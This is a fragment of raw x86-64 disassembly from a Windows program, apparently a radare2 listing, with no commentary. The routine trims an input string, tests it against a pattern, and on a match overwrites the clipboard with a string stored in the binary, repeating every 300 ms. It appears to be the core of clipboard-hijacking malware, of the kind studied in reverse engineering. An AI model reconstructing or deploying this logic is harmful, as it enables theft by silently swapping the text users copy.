jmp 0x14000ed63
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14000eb66
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000eb61
cmp rcx, rdx
je 0x14000eb66
dec rcx
cmp byte [rcx], 0x20
je 0x14000eb54
sub rcx, rdx
jmp 0x14000eb6d
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee99
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000ebd1
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000ebd1
nop dword [rax]
cmp byte [rax], 0x20
jne 0x14000ecf0
inc rax
cmp rax, rcx
jb 0x14000ebc0
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
bts r13d, 0x12
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rax
lea rdx, [0x1400f01e0]
lea rcx, [rsp + 0x78]
call fcn.140015970
nop
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
seta r9b
cmova rdx, qword [rsp + 0x30]
add rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x30]
test r9b, r9b
cmovne rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rsp + 0x78]
call fcn.1400196f0
movzx ebx, al
lea rcx, [rsp + 0x78]
call fcn.140013e40
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14000ecb6
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14000ecb6
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000ecfd
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ecf8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee9e
jmp 0x14000ecf8
sub rax, rdx
jmp 0x14000ebd8
call fcn.140084d80
test bl, bl
je 0x14000ed8c
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000ed05
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f0350]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000ed05
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ed6e
mov rdx, qword [0x1400f0350]
inc rdx
lea r8, [0x1400f0340]
cmp qword [0x1400f0358], 0xf
cmova r8, qword [0x1400f0340]
mov r9, rdx
mov rcx, rax
call fcn.14008c6c4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rbx
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000edc9
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000edc4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000eea4
call fcn.140084d80
call qword [sym.imp.USER32.dll_CloseClipboard]
mov bl, 1
jmp 0x14000c5f2
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000c5f0
call fcn.1400148c0
call fcn.14008e520
int3
call fcn.1400148c0
call fcn.1400148c0
call fcn.1400148c0
call fcn.1400148c0
call fcn.14008e520
int3
call fcn.1400148c0
call fcn.14008e520
int3
call fcn.1400148c0
call fcn.14008e520
int3
call fcn.1400148c0
call fcn.14008e520
int3
call fcn.1400148c0
call fcn.14008e520
int3
call fcn.1400148c0
call fcn.14008e520
int3
call fcn.1400148c0
call fcn.14008e520
int3
call fcn.1400148c0
call fcn.14008e520
int3
call fcn.1400148c0
call fcn.14008e520
int3
call fcn.1400148c0
call fcn.14008e520
int3
call fcn.1400148c0
call fcn.14008e520
int3
call fcn.1400148c0
call fcn.14008e520
int3
call fcn.1400148c0
call fcn.14008e520
nop
call fcn.14008e520
int3